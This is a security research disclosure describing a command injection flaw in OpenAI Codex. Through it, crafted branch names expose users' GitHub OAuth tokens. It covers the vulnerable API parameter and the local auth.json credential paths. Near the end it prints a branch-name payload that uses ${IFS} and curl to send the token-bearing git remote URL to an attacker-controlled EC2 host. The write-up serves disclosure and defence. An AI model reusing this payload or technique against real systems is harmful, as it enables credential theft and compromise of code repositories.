How Command Injection Vulnerability in OpenAI Codex Leads to GitHub Token Compromise

As shown above in Figure 1, the attack path can take several directions depending on the context the attacker is operating within. We could compromise a single user through any codex product, or we could initiate the automated techniques entirely through GitHub without ever touching Codex. Additionally, after elevating access from Codex to GitHub, we could employ the automated techniques in GitHub.

GitHub Integration

GitHub applications like the ChatGPT Codex Connector generate short-lived, scoped OAuth 2.0 access tokens that function on behalf of the consenting user. With the proper scopes, an application can query information about a user’s or organization’s GitHub instance, as shown below in Figure 3.

The ChatGPT Codex GitHub application is privileged by default, as it requires access to repositories, workflows, actions, and more. Figure 4 shows the permissions granted upon application consent. These permissions become more impactful when the application is authorized within an organization’s GitHub environment, granting Codex access to private organizational resources.

BeyondTrust Phantom Labs began interacting with the platform and proxying all web traffic. Under the hood, when a user creates and submits a prompt against a repository and branch, the platform generates a “cloud task”, sending a POST request to https://chatgpt.com/backend-api/wham/tasks with the environment identifier, branch, and prompt text (Figure 6).

On the backend, Codex Web will create an environment, which spins up a container with pre-installed languages, packages, and tools. Environments can be customized with custom setup scripts, environment variables, and secrets. They, by default, have internet access during setup script execution to install dependencies, but can be configured to restrict or limit outbound access. All outbound internet access is tunneled through an HTTP/HTTPS proxy.

Once an environment is spun up, the container installs the setup scripts and clones the selected repository and branch. Upon reviewing the platform logs, we identified the container passes the GitHub OAuth token during the cloning process; however, the token was obfuscated from the web portal, shown below in Figure 7.

The obfuscated OAuth token in the container logs immediately stood out to us. Further investigation revealed that, although the container used the token in the GitHub remote configuration, the token was removed during the agent’s runtime. This was confirmed (Figure 8) when we queried the command history within the agent runtime and received no results. We suspected the container had multiple bash scripts running, one handling repository installation and a separate one handling script execution.

In order to obtain the OAuth token, we needed to get execution within the bash shell where the remote configuration was set and the repository was retrieved. After exploring several unsuccessful avenues—including setup scripts and environment variables—we identified that the branch parameter in the POST request to https://chatgpt.com/backend-api/wham/tasks was reflected in the environment setup script and remote configuration (Figure 9 and Figure 10).

To verify that values passed in the branch parameter were reflected in the environment setup, we provided a payload of “-1” as the branch name. The container raised an error in the Codex environment logs, indicating a lack of input sanitization in the POST request. We then created a command injection payload to output the git remote URL and the embedded OAuth token to a file, before asking the Codex agent to read and return the file’s contents.

We used the following JSON payload to:

• Set the branch to main

• Append a second command to copy the output of the git remote URL and OAuth token to a file

• Asked the Codex agent via the prompt to list the contents of that file

When reviewing the task output in the Codex Web portal, we successfully obtained the cleartext GitHub OAuth token. An attacker can now leverage this to laterally move into GitHub.

Codex CLI, SDK, IDE GitHub Token Compromise

Upon achieving GitHub token compromise via the web portal, we were curious if this vulnerability extended to other Codex applications, including the Codex CLI, SDK, and IDE integration. We began investigating how the host-based applications authenticated and interacted with backend APIs. We discovered that the Codex application stores authentication credentials locally in the following directories:

• Windows: %USERPROFILE%\.codex\auth.json

• macOS / Linux: ~/.codex/auth.json

The auth.json file contains sensitive credential materials, including OpenAI API keys, ID, access and refresh tokens, as well as the associated account identifier, shown below in Figure 13. If an attacker had access to an endpoint running one of these applications, they could use the available tokens to authenticate to the Codex Cloud backend API, passing the access_token value as the Authorization header in the HTTP requests.

With the ability to authenticate through the compromised access token, we replicated the attack against the OpenAI Codex Web portal, demonstrated below in Figure 14.

With no user interface to review the output of our task, we began probing the backend API, ultimately identifying it was possible to retrieve a user’s task history by sending a GET request to https://chatgpt.com/backend-api/codex/tasks. Figure 15 shows the output in Postman.

With the full task history, we were able to obtain the identifier of our latest task and append it to our existing URL path, providing us with the container logs of the specific task. In the output of the task contents, we confirmed access to the GitHub access token, demonstrated below in Figure 16.

Automated Token Exfiltration Through GitHub Branch Command Injection

Although we successfully compromised the GitHub access token, we wanted to increase the severity and scale of our attack. With the help of Fletcher Davis, our Director of Research, we developed an automated variant of the attack that could compromise multiple users’ GitHub tokens by tampering with the branch name of the GitHub repository.

As shown previously, the GitHub branch name was targeted in the POST request to the backend Codex API. However, with the right access to a GitHub repository, it is possible to tamper with branches, allowing an attacker to execute the command injection and exfiltration of GitHub tokens against multiple users leveraging Codex against a repository. This could allow an attacker to laterally move or escalate privileges in GitHub.

To perform this variation, an attacker needs to create a new branch or modify an existing branch. We leveraged AWS EC2 to host our external server and receive the GitHub OAuth token. Here’s the GitHub API endpoint and payload:

• GitHub API Endpoint: https://api.github.com/repos/myorg/myrepo/git/refs

• GitHub Ref Payload: refs/heads/main;curl${IFS}'ec2-51-388-32-123.compute-1.amazonaws.com/'`git${IFS}-C${IFS}/workspace/TylersTestRepo${IFS}remote${IFS}get-url${IFS}origin`;

GitHub implements several restrictions when creating and naming branches. Because our branch name is being outputted into a shell command and evaluated in a Bash context, shell metacharacters can be leveraged to break out of the expected context and execute arbitrary commands, all within GitHub’s branch naming restrictions. The key is to replace genuine spaces with the internal field separator payload of ${IFS}. Spaces are blocked by GitHub in branch names, but not ${IFS}, which can be evaluated in Bash as a space.

The payload of the GitHub branch name is shown below: